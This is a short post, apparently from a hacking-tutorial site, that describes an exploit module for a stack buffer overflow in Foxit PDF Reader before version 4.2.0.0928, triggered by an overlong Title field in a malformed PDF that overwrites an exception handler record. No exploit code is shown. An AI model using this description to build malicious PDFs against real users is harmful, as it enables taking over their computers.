Hack Remote PC with Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

This module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use JavaScript.
